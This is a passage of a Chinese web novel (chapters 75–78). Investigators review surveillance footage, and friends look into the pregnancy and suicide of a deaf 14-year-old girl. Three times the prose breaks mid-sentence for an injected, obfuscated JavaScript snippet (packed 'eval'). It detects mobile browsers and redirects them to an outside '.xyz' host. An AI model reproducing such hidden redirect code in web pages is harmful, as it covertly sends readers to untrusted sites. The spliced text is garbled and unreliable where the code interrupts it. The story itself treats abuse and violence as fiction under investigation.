把路口的监控拷贝到硬盘里,沈灵均和乔瑜又去那条路上实地探查了一番,发现这条路上根本没有什么商户,只有两家快餐店和一家小超市,而两家快餐店在案发时便已经关店,那家小超市则没有在门口安装监控,超市店主则表示,周五晚上他没感觉路上有什么异常,或是听到什么异响。两人一无所获。 随后,两个人又来到管辖杨枫词家所在社区的派出所,拷了杨枫词家附近几个摄像头的监控。 此时时间已经来到晚上六点多,乔瑜于是道:“沈检,我们找个地方吃个饭吧。” 沈灵均便提议道:“那我们就去杨枫词兄弟吃晚饭的那条商业街去吃吧,正好我们一会要去那调查。” 乔瑜自然同意。 两个人最后决定,就在杨枫词生前吃过的那家汤饭店吃晚餐。点完餐后不久,戚玉衡给沈灵均发来了一个猫猫探头的表情: 【戚玉衡:[动画表情]】 【戚玉衡:吃饭了吗~今晚你吃了什么?】 自从那天没吃晚饭被留宿的陈彦博和戚玉衡逮住后,他们两个人几乎每天都给他发信息督促沈灵均吃晚饭——准确地说,陈彦博是“几乎每天”,而戚玉衡是“每天”。 这时,店员正好把汤饭端了上来,沈灵均于是拍了张图发给戚玉衡: 【Shen:牛肉汤饭。你呢?】 戚玉衡也给他发来了一张图,图片里是一碗炒饭。 【戚玉衡:是我自己做的炒饭。】 【戚玉衡:你看微博热搜了吗?热搜上说,3.18案真正的凶手又出来作案了。】 两个人聊了好一会,沈灵均才放下手机。这时,乔瑜的汤饭已经吃了快一半了。沈灵均后知后觉地反应过来:和别人一起吃饭,他却一直玩手机,有些不太礼貌。于是他连忙道:“抱歉,和一个朋友聊了会天。” 乔瑜摆了摆手,问道:“……女朋友吗?” 沈灵均拿筷子的手顿了一下:“……不是。” 乔瑜脸上露出一点笑意:“我知道,就是开个玩笑,沈检你是单身嘛。你什么时候要是脱单了,这消息一定很快就能传遍公检法系统内部。第二天我上班,脚底下踩的都得是我们局未婚女性的少女心碎片。” 沈灵均也笑了:“哪能有那么夸张。” 根本没夸张。无论从哪个方面看,沈灵均都是个颇具异性吸引力的人。就算是对男人向来挑剔的薛青霜同志,对沈灵均的评价也极高。被沈灵均退卷,她甚至都不会抱怨!乔瑜不着痕迹地打量着沈灵均,心里暗暗想:都不谈内在,单说这外在,沈检可谓十全十美,女娲得意之作。而且英气十足,是戚玉衡少年时代梦寐以求的脸。 想到这,乔瑜用勺子拨弄了一下碗里的牛肉,移开目光,转而去看沈灵均的衣着和配饰。没听章局吐露沈灵均家境的时候,乔瑜就知道沈灵均家境不差——毕竟,沈灵均有一辆价值六七十万的车,余绵绵也跟他说过,沈灵均在容州有自己的房子。但乔瑜没想到,沈灵均会是个超级富二代。 作为一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15288478|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个富二代,沈灵均的作风实在是有点太低调了。是因为做了公职人员的缘故吗?说起来,一个富二代,来做什么公务员呢?好好在家继承财产不就好了吗?唔,这就是有理想有追求的人的人生吗?不过,只有物质需求被满足了的人才有资格追求精神需求吧?嘶,不过,以沈检的资质,干什么不能成呢?别的不说,靠脸吃饭就足够赚了。 乔瑜盯着沈灵均的手腕:他上高中的时候,乔怀兴的一个客户带了只劳力士,乔怀兴很眼馋,在家里提过好多次。沈检这种家境,足以名表自由了吧?但沈灵均手上只带了一只普通的手环,和他今年给余绵绵送的生日礼物是同款。 这时,乔瑜听到沈灵均问:“乔警官?干什么呢。怎么一直……鬼鬼祟祟地盯着我?” 大无语。大失水准。偷看别人还被抓包。 乔瑜心里有些尴尬:“没、没什么。我就是……我就是在看你的手环,我今年给绵绵送了一个同款。” “对,我知道,绵绵有带。” 吃过晚饭,两个人顺手拷走了店里的监控。出了店门,乔瑜发现,汤饭店西侧是一家女装店。女装店的橱窗里摆了几个假人模特,其中一个模特身上穿了件粉色的连衣裙。 一时间,乔瑜有些走不动路了。 犹豫了一会后,乔瑜和沈灵均道:“沈检,能不能麻烦你跟我去这家服装店一趟,我买件衣服。很快的。” 沈灵均有些意外,但还是答道:“没问题。” 二人走进女装店,乔瑜指着模特身上的那条连衣裙道:“请问一米六二,一百二十五斤,这条裙子穿什么尺码合适?” 听了乔瑜的要求,沈灵均下意识地看了他一眼——他本来以为,乔瑜是想给余绵绵买衣服。但余绵绵身形纤瘦,身高近一米七,但据沈灵均的目测,余绵绵的体重最多只有一百一、一百二的样子,和乔瑜报出的数据相差很大,这条裙子肯定不是买给余绵绵的。但这条裙子又是很年轻的款式,不太适合长辈穿。乔瑜是想买给谁呢? “穿L码。” 乔瑜没有问价:“那你找一条L码给我包起来吧。” 店主显然也很少遇到乔瑜这样爽快的顾客,当即喜上眉梢,飞快地将裙子包好递给了乔瑜。 离开女装店后,或许是怕沈灵均误会,乔瑜主动道:“这是给我妹妹买的。” 沈灵均微微一怔:“妹妹?” 乔瑜的妹妹不是早已经…… 乔瑜轻笑一声:“对。给我死去的妹妹买的。” “我家里的事,沈检你应该已经清楚了。我父母是每天都会待在厂子里的。那天的事,对于他们来说……是‘在劫难逃’,躲不过的。但我妹妹……她其实很少会去我们家的厂子。她那天去,是因为她想让我母亲给她做条新裙子,预备着过生日时穿。我母亲买了几块料子,叫她去看。” “她之所以会闹着让我母亲给她做裙子,是因为她之前买了一条粉色的裙子,但试穿的时候被我说又显胖又显黑,她生气了……于是把那条裙子退了,让我母亲给她做条新的。” 乔瑜低下头,手捻着手提袋的提手:“我很后悔。这些年来,我一直都非常后悔。为什么要说她穿那条裙子丑呢?如果我不这么说,她就不会生气,不会要求母亲给她做衣服,不会去家里的厂子逗留,如果我不这么说,她就不会和我吵架,不会和我冷战……在我妹妹人生的最后,我留给她的印象是一个嘴巴毒、气人的哥哥。” “……我真的很后悔。” 76.第 76 章 长乐的葬礼结束后,戚玉衡和陈彦博一同坐上了前往赵美星家乡东兴村的车。昨天晚上一回到家,戚玉衡便和严老师索要了赵父赵母的联系方式,和他们取得了联系。戚玉衡磨破了嘴皮,才让赵父赵母同意他们上门拜访。 东兴村是个渔村,村里的大部分人都依靠捕鱼生活,赵美星家也不例外。除了捕鱼外,赵美星家还会卖手工鱼丸,戚玉衡和陈彦博登门时,赵父赵母正在打鱼浆。 看到二人,赵父的脸色一下子变得有些古怪,他把打浆机关掉,指了指沙发:“……你们随便坐吧。” 赵父赵母一开始的态度和之前一致,拒绝给美星做尸检。但在戚玉衡再三保证不会把这件事闹大、并且会给他们经济补偿后,赵父点了根烟,目光在戚、陈两人之间来回流转着:“你们为什么对我女儿的事这么上心?” 赵父的目光落在戚玉衡身上:“我女儿肚子里的孩子,是你的?” 戚玉衡连忙否认:“当然不是?!警方昨天就取过我的DNA样本了。如果美星怀的是我的孩子,我怎么会抓着这件事不放呢?” 陈彦博隐晦地翻了个白眼:如果不是你们做父母的对孩子的事太不上心,也轮不着他们这些外人来上心。但他顾念着如今他们是求人办事,没有把这些话说出口。 但赵父此刻却仿佛洞察人心一般,说出了陈彦博的所思所想:“你们觉得,我们这些做父母的,对孩子太冷漠了。是也不是?” 陈彦博没答话,但赵父并没介意。他脸上露出了一个讥诮的笑容:“那是你们不了解这个孩子。你们也别觉得我说话难听,这孩子没了,其实我心里松了一口气。最起码,她活着的时候,没做出什么伤天害理、危害社会的事,没有连累我们一家都成为罪人。” 戚玉衡不由得攥紧了双拳:“您这话是什么意思?说得也实在是太难听了吧?您和美星好歹也是父母子女一场……难道你对她一点感情都没有吗?” 赵父垂着头,吐出一口烟:“我不知道在你眼里,美星是个什么样子的孩子。但是在我们村,她的邪性、各色,是出了名的。你可以随便去问,村里家家户户都知道她的‘光辉事迹’。” “她四五岁的时候,我们邻居家养的两只猫生了一窝猫崽子,她趁人家不注意,自己偷出来一只,悄么声地给那小猫崽子摔死了。” 戚玉衡呆住了。好半天,他才道:“这其中是不是有什么误会?当时美星还小,她听不到,不会说话,还不识字,是不是你们在沟通中出现了什么误会?” 赵父轻哼一声:“不会听不会说,还不会看吗?我们当时演摔小猫的场景,她都点头承认了。而且那小猫的死状,就是被摔死的。院子里除了她没别人,还能是谁摔的?” “长大之后,老师说、街坊也说,说孩子不会说话,是被我们耽误了。我们承认,孩子如果因为这个恨我们,我们也没什么好说的。是我们做父母的没文化、穷,耽误了孩子……但是孩子她小姨,可没做过什么对不起这孩子的事。但有一年过年,她小姨给她糖吃,之后就想摸摸这孩子的头,她张嘴就把她小姨的手给咬了!我们打她她都不松手!差点给她小姨手指头都咬掉!” “她九岁的时候,我和她妈去外面工作,留她和她妹妹两个人在家,我们回来的时候,看见她把她妹妹的手里往打浆机里面塞,我们要是再晚回来一会,她妹妹的手说不定就要残疾了。” “十岁那年,有天晚上我起夜,一推开门,发现她拿着把菜刀,站在我和她妈房间门口……我现在想起来还觉得心和肝在抖,当时差点把我吓厥过去!你说说,正常人会大半夜拿着刀站在父母房门口吗?” “她十一岁那年,学校组织赶海活动,她拽着她的同班同学下了海,按着人家的头,差点把人溺死在海里,”赵父猛抽了几口烟:“后来我们知道,那同学在班级里带头排挤她,但就算这样……也不能杀人吧?” “我们村里有人说她是天煞孤星,早晚有一天要克死我们全家。我倒觉得,天煞孤星这种说法不一定真,但我觉得,她和那个……最近网上那个优等生杀手,是一类人,他们是变态,是反社会!她升五年级的时候,学校里新来的李老师劝我把她送到特殊学校去。我一开始不同意她去,是怕她在学校里惹出什么事端,伤害同学。我跟李老师说了她的情况,李老师却说这是因为我们没把她教好……” 赵父挥了挥手,把烟掐灭:“随便吧。你说我对她没感情……你说得对,我实在喜欢不起来她。我实在想不出,我们怎么会养出来这么一个冷血怪物!” 赵父说话间,赵母一直在一旁静静地听着,听到这,她看了赵父一眼,似乎是有些不赞同,随后低下头,揩了揩眼角。 戚玉衡觉得赵父讲的故事非常荒诞——他完全没办法将赵父言语中那个阴郁、暴力、极端的孩子和他印象中的赵美星联系在一起。在他的印象里,美星是个孤僻但乖巧的孩子,和“反社会”三个字完全不沾边。 赵父是不是在骗他?可赵父似乎没有理由骗他。 戚玉衡眨了眨眼,稳住心神,说:“赵哥,我们想把这件事搞清楚的心情,无关于美星是个什么样的孩子。她是个懂事、乖巧的孩子也好,是个奇怪、偏执的孩子也罢,一个成年人,引诱一个不满十四岁的少女与自己发生性关系,都是龌龊、可耻的。是犯罪。” 陈彦博在一旁附和道:“就是就是。你们就配合我们一下呗?” 赵父和赵母对视了一眼,在沉默了数秒后,他道:“多余的钱,我不要你们的。我们家还没有穷到卖女儿的地步。但是做那个尸检的相关费用,得你们来出。” 戚玉衡应道:“没问题。” 陈彦博又道:“在你们的印象里,村里的这些人中,有哪个男人跟美星走得近吗?” 赵父冷笑一声:“谁会跟她走得近?她在村里的名声可是响当当的,谁敢和她走得近?大家都恨不得离她远远的,怕她发疯伤到自己。她肚子里那个孩子的父亲,绝对不可能是我们村的。” 陈彦博嘴唇上下开合了几次,随后小声道:“那……你们家有没有常来往的男性亲属啊?” 赵父愣了一下,随后勃然变色,他立刻站起身:“你什么意思?!你不要随随便便败坏别人名声!” 陈彦博梗着脖子:“我就是问问!大哥,有数据表明,诱监未成年少女的嫌疑人往往是她的近亲属……” 还没等陈彦博说完,赵父就直奔着陈彦博 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15300711|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而去,像是要打他。陈彦博立刻从椅子上跳起来闪到一边,赵母则伸出手拉住了他的胳膊。 戚玉衡拦在二人中间,道:“赵大哥,您先别急,他绝对没有冒犯您和您家人的意思。他也是好意,只是想把那个犯人找出来……您先冷静点,您听我说,万一,我是说万一,强迫美星的犯人,是和您很熟悉的人,或者是您的近亲属,那他有没有可能继续作案呢?万一,他要是胆大包天,继续骗您的二女儿呢?” 赵父脸上红一阵白一阵的,他甩开赵母的手,指了指门口:“你们不要再说了!走!快走!我们家不是你们撒野的地方!我女儿的事,也用不着你们来管!” 陈彦博把戚玉衡从他身前拨开:“这样吧大哥,你要是真有来往很密切的男性亲戚,你想办法给我搞一根他的头发……带毛囊的那种。对于关系亲近的亲属来说,这应该不算难吧?你拿给我们,我们送到鉴定中心检验去。我兄弟说的在理,万一事情真就是这么个‘灯下黑’‘恶魔在身边’呢?要真不是他们,我给您鞠躬道歉!反复道歉!” 说到这,陈彦博又拉着戚玉衡往后退了几步:“那个……按理来说,大哥,你爸这个年纪的人也还是有作案工具的,要是孩子的爷爷和外公身体还硬朗,顺带取一下他们的检材也没错。” 这下陈彦博可是真给赵父惹火了,赵父抄起身边的扁担就要把他和戚玉衡打出去。戚玉衡早已看出这夫妻俩是相当好面子的人,握住那根扁担,低声劝道:“大哥大哥,我这朋友是医生,说话有的时候可能……过于客观真实了,但他真没别的意思,咱村这木门也不怎么隔音,别一会闹得街坊邻居都听见咱们家这点事了。” 最终,在戚玉衡的反复劝说下,赵父最终还是松了口,答应把女儿的遗体送到鉴定中心尸检。因为美星的遗体现在停放在凤来镇的殡仪馆里,他们需要先去殡仪馆把美星的遗体领出来。正当一行人准备出门的时候,里屋、外屋之间的那扇门被人打开了,一个十一二岁左右、睡眼惺忪的女孩抱着一只邦尼兔走了出来:“妈妈,我饿了。” 赵母立刻冲上去挡在她面前,小声教训道:“家里有外人呢,怎么穿着睡衣就出来了。快回去,饭在锅里,自己热。” 女孩很快就听话地回屋去了。但戚玉衡盯着她手中的那只邦尼兔,久久不能回神:那只邦尼兔,和他作为生日礼物买给赵美星的那只一模一样——是巧合吗?赵父赵母也给赵美来买了一只邦尼兔?还是,这就是他买给赵美星的那只?在她人生的最后阶段,这只兔子陪她一起走了一程吗?然后,这只兔子又被她的父母擦拭干净,转赠给了她的妹妹吗? 戚玉衡有心想要说点什么,但他想要说出来的话似乎又会让在场所有人难堪,于是,他什么也没说,有些仓惶的移开了目光。 四人将遗体送到鉴定中心后,陈彦博给赵父赵母叫了辆车,让他们能直接坐车回到东兴村。 临分别前,陈彦博对着赵父道:“大哥,我是真没恶意,没有编排你家里人的意思。我就是想把美星身上这事查清楚,咱加个联系方式呗,你之后要是拿到检材了,通知我一声,我去拿。” 赵父气呼呼地盯了他一会,最终拿起手机,扫了陈彦博手机上的二维码。 77.第 77 章 回到家后,戚玉衡又给冯小竹发了几条信息——他昨天就给冯小竹发了一些劝慰的话,但冯小竹没有理他。 而这一次,冯小竹很快回复了他: 【一根竹子:戚哥,我好,你不担心。】 【戚玉衡:我知道你和美星感情很好,但你也要注意自己的身体。你太瘦了,一定要多吃东西。美星已经不在了,我们现在唯一能做的,就是尽全力找出美星孩子的父亲。如果他是未成年,该教育教育,如果他是成年人,该送他坐牢就送他去坐牢。】 【一根竹子:嗯】 【戚玉衡:小竹,你之前和美星在一起的时候,美星有没有跟你提起过什么男人?】 【一根竹子:没,她没说】 戚玉衡有些失望,再次和冯小竹道: 【戚玉衡:好,你一定要注意自己的身体呀。按时吃饭,低血糖很危险的,严重的情形是会危及生命的。】 冯小竹回了他一个好。 戚玉衡把手机扣在胸口处,闭上眼想着:美星肚子里的孩子到底是怎么来的呢?在学校里,她同班同学中年纪最大的孩子也比她小三岁有余。十一岁的男孩,很多还没有作案能力;美星的男老师们也在第一时间接受了DNA采样,如果老师中有孩子的父亲,警方肯定会通知赵父赵母。 同校的高年级学生?理论上来讲,存在这个可能。但据他所知,特二学生的家境普遍不富裕,而一个十几岁的学生,会有给女友买近万元的平果手机、给几千块零花钱的财力吗?同理,东兴村的同乡也不太可能是孩子的父亲。 是美星在外面认识的“野男人”?特二虽然是寄宿制学校,但周末并不实行封闭管理,留校住宿的学生虽然不许夜不归宿,但白天可以离开学校。美星会不会是在周末出去玩的时候,认识了什么坏人? 那嫌疑人的范围可就太大了。容州可是有一千万的成年男人!而且,他们的“侦查”无法得到警方的帮助。没有官方的公信力、强制力,没有警方的信息渠道,光靠他和陈彦博两个人,要怎么找出那个可恨的男人呢? 戚玉衡叹了口气,拿起手机。他有心想看点什么搞笑短视频缓解一下心情,但他的手指在手机屏上悬了一会,最后打开了微信,点开了与沈灵均的聊天框。他带上耳机,开始放沈灵均之前发给他的语音。 但沈灵均最近发给他的语音都是有关长乐的事,戚玉衡听着听着,心中的思念与悸动便无影无踪,徒留伤感。他立刻退出了聊天框。 随后,戚玉衡看着微信里对沈灵均的备注,脑海中立刻浮现出两人上次见面的场景——他喝多了酒,在家门口抱着沈灵均不撒手。一时间,戚玉衡有些懊恼,又有些庆幸——还好他没做出更出格的事。 戚玉衡轻抿着唇,把沈灵均的备注从“沈检”改成了“灵均”。 次日,何雨萌来了星星烘焙,和牛明星和戚玉衡商讨她婚礼甜品台的事。让戚玉衡万万没想到的是,这单生意比他想象的大得多。戚玉衡本以为,所谓的甜品台,就是个“台”,只要准备六七种精致的甜品即可。但何雨萌告诉他,她口中的甜品台其实是个甜品“区”,甜品累计需要摆满五张0.85米宽、两米长的桌子。甜品种类最好不少于二十种,样样都要既好看又好吃。 何雨萌脸上露出个无奈的神情:“其实我不想这么弄的,感觉最后肯定会剩,很浪费,但我婆婆和我妈都想这么弄,好面子嘛……而且食品区本来就挺大的,甜品区弄得太寒酸也不合适。” 何雨萌和曾经的乔瑜一样,是个厂二代,父母经营着一家鞋厂,家境很殷实。但即便如此,她家与她老公家相比,都只能算是贫困户——她老公是个富二代,父亲是一家传媒集团的老总。她的婚礼邀请了不少社会名流,还请了不少明星来,排场相当大。 赚钱的机会谁都想要,但听完何雨萌的要求,牛明星心里实在有点发怵:“那……这么大的工作,交给我们店是不是不太好?何小姐,我也跟您说实话,我们店其实就是个小作坊,只有玉衡正经去甜品培训学校学过甜点制作,其他人都是在蛋糕店做学徒时学的手艺。欧包、司康、蛋糕这种做起来手拿把掐,但你想要的那种复杂、精致的高级甜点,除了玉衡,我们都不太做得来,只能给他打下手。我怕我们工作里出了什么纰漏,耽误了您的大日子。” 戚玉衡也十分犹豫:“是啊,你要不还是找别家负责这件事吧。” 但何雨萌摆了摆手:“没事,你干活,我放心。” 戚玉衡清楚,何雨萌是一门心思想给他创收。他心中感动,不想辜负了她的心意,于是没再推拒,十分认真地道:“好,那你对甜品的品类有什么想法?你先跟我说,我们先大致定些品,你之后再找个时间来试品。” “行。” 送走何雨萌后,牛明星感叹道:“有钱真好……玉衡,你知道他们举办婚礼的那个地方,达洛别墅,它一天的场地租赁费要多少吗?” “多少?” “两年前我结婚的时候,我们的婚礼策划师提过这个地方。一天光场地费就要三十万,酒席一桌是15888起,还要加收百分之十的服务费,不知道现在有没有涨价。不过,它贵是贵,但那个城堡真的好漂亮。我们的策划师当时给我看了一些在达洛别墅里拍的婚礼照片,那些新娘真的跟公主一样。” 牛明星一手托腮:“嗐,但能在那地方办婚礼的女孩,也确实是现代社会里的‘公主’了吧。” 戚玉衡本来对这段话没什么感觉,点了点头,便回烘焙间继续捏司康去了。但他捏着捏着,心里却逐渐漫上些酸涩——未来,沈灵均会不会也牵着一个女孩的手,在那样的城堡前,举办一场豪华而盛大的神圣婚礼呢? 想到那个场景,戚玉衡既开心,又落寞。 这天下午,戚玉衡接到了陈彦博的电话。 陈彦博告诉他,赵父今天上午给他打了电话,说他拿到了他弟弟、他父亲、他小叔子的样本,让他去取。他现在已经把这些样本都送到了鉴定中心,鉴定中心说后天就能出结果。 “我还在村里打听了一下,怎么说呢……美星她爹没骗我们。美星在东兴村的名声确实是不怎么好听,村里很多人都觉得她脑子不正常。五岁摔死猫、差点咬断小姨的手指头、把同学的头按进海里差点把同学溺死,这些事确实都是她干的。” “除了这些事,美星还有其他很多古怪的行为。比如她放学之后经常在村里游荡,从村这头走到村那头,还经常尾随别的同学回家,把别人吓一跳。她还喜欢在夜里去海边坐着,村里捕鱼的人提醒过好多次这很危险,她都不听,有一次,有个好心人想把她送回家去,她还把那个人挠了个满脸花。从那之后,村里就没人愿意管她了。” “这么……特立独行的美星,她身边如果有什么人,应该会很显眼。但是村里人都说,自从她去了市里的学校,她就很少回家,寒暑假放假,她基本都待在家里,很少再看她出门了,没见她和什么人走得比较近。” 戚玉衡沉默了半晌,道:“在我的印象里,美星只是个有点内向的孩子,严老师、小竹,这些和美星比较亲近的女孩,也从来没提过美星有什么奇怪的行为,”说到这,戚玉衡顿了一下:“说起来,我们还没见过美星曾经的班主任,李艳娜老师呢。美星能到特二来读书,还是多亏了李艳娜老师。” “老乡嘴里的美星和我认识的美星,可以说是判若两人。如果将美星来特二读书看做她人生的转折点,那么促成这个转折的就是李老师。李老师对美星的事很上心,她一定很了解美星,她或许知道些什么。我们可以去见见她。” “你说得有道理!”陈彦博的声音透出几分为难:“但我明天后天都排了班……” 戚玉衡忙道:“没关系,我时间更自由。明天,我就去一趟凤来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15352662|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镇小学,看看能不能见到李老师。要是问出了什么消息,我联系你。” 次日,在凤来镇小学的保安室,戚玉衡见到了赵美星的小学老师李艳娜。李艳娜是个相当年轻的女孩,看着不过二十六七的样子,她个头中等,皮肤偏黑,一张鹅蛋脸,两颊长了不少雀斑,称不上有多漂亮,但整个人看上去颇具亲和力。 听到赵美星的死讯后,李艳娜久久没有回神。 良久,李艳娜道:“我、我想不出她会和哪个成年异性亲近。她……在她家这边,她一直都很独来独往,她不喜欢和别人待在一起……别人也都把她当怪胎。她从来没跟我提过恋爱方面的事。” 李艳娜说到这,用手揪住衬衫的领口:“我……说起来,我、我应该早一点发现的,前不久,上周,美星还跟我说过,她想回家看海的……” 戚玉衡有些困惑:“回家看海?” 李艳娜吸了吸鼻子,道:“对,看海。美星……他们村里人都说美星是个很奇怪的孩子。我、我……她确实跟普通的孩子不太一样。但她真的不是个坏孩子。她跟我说,她小的时候,摔死过小猫和小鸟,因为父母有时候会这样摔鱼。她小时候没什么玩具,就会玩家里水盆的鱼,而当她学着父母这样摔鱼的时候,父母从不会拦着她,她于是以为这样摔小动物是很正常的。” “她遇到了小鸟、看到了小猫,她也想玩……玩够了就摔死。我们普通人可能会觉得这样很残忍,但是对于一个生活在无声世界、从来没受到过任何正经教育的小孩子,这或许只是一种没能得到规训和引导的天性。” “美星的妹妹美来出生后,美星的父母把注意力更多地放在了她的身上。在无声的、寂寞的世界里长大的美星,她的精神世界,是我、或许是健听人很难理解的。她跟我说……她憎恨这个世界上所有的健全人。” “她憎恨美来、憎恨父母、憎恨所有听得见的人,她无法想象‘声音’是什么感受。她曾经差点咬断姨妈的手指,因为姨妈看着她的眼神永远让她‘不舒服’。她恨美来的到来衬托得让她像一个‘怪物’,恨父母给了美来健康却让她成为了聋子,恨那些拥有听力的幸运儿同学……”李艳娜垂着眼睛:“这种想法,确实很偏激。但她会有这么深的怨气,归根结底,还是她得到的善意、爱意,都太少了。” “因为听不见,课本上的‘道德与法治’,这孩子理解起来非常困难……所以有的时候,她的行为会显得十分……极端。但只要你好好和她讲道理,她是能明白的。犯过的错误,她绝对不会再犯!因为听不懂语言,也说不出话,识字、写字的能力也差,她与这个世界的联系是单向的。于是,她慢慢沉浸在自己的精神世界里。她喜欢在夜间看海,她说……在她看来,夜里的海十分温柔、安静……能接纳一切。像是永远敞开的怀抱。” 李艳娜用袖子擦了擦脸上的眼泪:“这不就是……在我看来,她有明显的厌世情绪。听到她这么说的时候,我就决定,无论如何,得先让她离开她所处的环境。她转去特二读书之后,我能感觉到,她整个人平和了许多。虽然也有很多烦恼,但和她在一起的都是和她一样的人,而不是我们这样的‘幸运儿’。这种‘共苦’,让她心里的憎恨没有那么深了。” “所以一周前,她跟我说想回家看海。我以为她只是又想起了这个习惯……谁都有想要独处的时候呀?我没想到……” 李艳娜说到这,眉毛一竖:“一定是谁,骗了美星!美星性格很单纯的,现在网络这么发达,正常的孩子,十四岁或许已经很成熟了,但是美星不同。她的缺陷,让她的心智远没有同龄人那么成熟,她也没接受过系统的性教育……美星的同学都还是小孩,不可能让她怀孕,”李艳娜不断地点着头:“一定有人,哄骗了涉世未深的美星,这是强肩!这是犯罪!” 说到这,李艳娜瞪大眼睛:“戚先生,你查过美星的手机吗?” 78.第 78 章 李艳娜的话一下子点醒了戚玉衡。 在如今这个世界上,还有比查一个人的手机更迅速、更快捷地了解一个人的方式吗?至少,对于戚玉衡来说,他在他的手机面前没有任何秘密。他这些年来的还款记录、他与社交圈内每个人的交往、甚至他对沈灵均那些不可为外人道也的心思,他的手机全部都知道。 在这个信息时代,如果赵美星真的曾经和一个男人保持过长期的亲密关系,戚玉衡相信,这总会在她的手机上留下些蛛丝马迹的。 那……赵美星的手机呢?赵美星的案子是自杀无疑,警方一定将赵美星的所有物品都退还给了赵父赵母。 联想到赵美来抱着的那只邦尼兔,戚玉衡的心一下子打了个突——如果那只邦尼兔真的是他送给美星的邦尼兔,那美星的那只平果手机现在在哪呢?会不会也和那只邦尼兔一样,已经被她的家人“继承”了呢? 它会不会已经被恢复出厂设置了? 一时间,戚玉衡心急如焚,顾不上和李艳娜多说:“你说得对,对……李老师,谢谢您,那我先走了,我之后再联系您。” 说完,戚玉衡便三步并作两步地奔出学校,打车赶到了东来村。 下了车后,戚玉衡在村口的小超市刹住脚步,买了两兜水果,提到了赵美星家。他到的时候,赵父赵母正在门口杀鱼。因为东来村多以捕鱼为生,赵父赵母的左邻右舍这时也都在门口处理着海货。 戚玉衡这个生面孔很快吸引了许多人的目光,赵父一秒都不敢让他在门外多待,脸色不善地把人拽进了屋:“你又来做什么?我女儿让你们接走了,头发也给你们了,你们还要怎么样啊?” 戚玉衡把水果放到桌上,赔着笑,说清了来意。 赵父听完,道:“那手机就算给你们了,你们也查不出什么来,美星那丫头带着它一起跳的海,如果不是那手机在她裤兜里揣得比较深,早就不知道沉到哪去了。但就算没沉,也在水里泡了小半天,已经彻底坏了,没法开机,现在就是个铁块子。” 说着,赵父从一个抽屉里拿出手机交给戚玉衡:“我们都已经找人看过了,修理店的人都说修不好,你要是不死心,就拿着再去别的地方问吧。” 赵父的这一番话,让戚玉衡的心是一下天一下地。但看着手里的手机,戚玉衡又安慰自己道:还好手机没真的沉到海里,有总比没有强。 回到市区后,戚玉衡连着去了数家手机维修店,结果都让他失望:几个维修店都说,手机的主板已经彻底烧坏了,没办法修了。 但戚玉衡并没气馁,他打算今晚回家就根据导航软件的信息做一个手机维修店的名录,然后一家店一家店地问,一个区一个区地跑——总得穷尽所有可能,才能下不可能的结论吧? 戚玉衡想了想,又给陈彦博发了个条消息,把自己拿到美星手机、但手机需要维修的事告诉了他,询问他知不知道什么好的修理店铺。 陈彦博应该在值班,等到戚玉衡回到家后才回复道: 【急急国王:!!!】 【急急国王:巧了!我还真知道!】 【急急国王:我有个初中同学,他特别喜欢数码产品,开了家数码产品维修店,经常在朋友圈发一些手机、电脑的修复视频,我一般都当解压视频看。我明天休班,你把你店的地址发我,我去找你拿手机。】 戚玉衡想了想,道: 【戚玉衡:你现在在医院值班吗?我现在住的地方离医院很近嘛,我直接把手机给你送去吧。】 【急急国王:也行也行!你到了给我打电话!】 戚玉衡于是将他给陈彦博腌的那份雪菜一并带了过去。 因为这些雪菜才腌了不到一周,还是青绿色,陈彦博一开始没认出来这是什么。戚玉衡解释道:“这是雪菜,只是还没腌好,所以没变成那种黄绿色,你把它再放冰箱里保存个两周,就可以吃了。” 陈彦博愣了一下:“雪菜?这个季节,你上哪搞到的新鲜雪菜啊?” 雪菜是时令蔬菜,在陈彦博的印象里,在三四月、十月、十一月的容州比较常见,但是如今是十二月中旬,雪菜基本都下市了。 戚玉衡笑笑:“还是有一些菜市场有的。” 陈彦博道:“谢谢啦!你费这个劲干嘛呀?” “我一般早饭都在家吃,雪菜无论是做面的浇头、配粥、还是夹在馒头里都很合适,还能保存很久,我就想腌一点,正好,你和我说过,你和灵均都挺爱吃腌雪菜的,我就顺手多做了一些。” 送走戚玉衡后,陈彦博又看向手里的袋子,忽然感觉现在的场景有些很熟悉——从小到大,他和沈灵均都形影不离,好得跟一个人似的。于是,初高中时,很多追求沈灵均的女生,在给沈灵均送早餐、送礼物的同时,也会给他带一份早餐和小礼物。 一时间,陈彦博的思绪像是被勾开了线的衣服,一旦开了个头,就一发不可收拾。 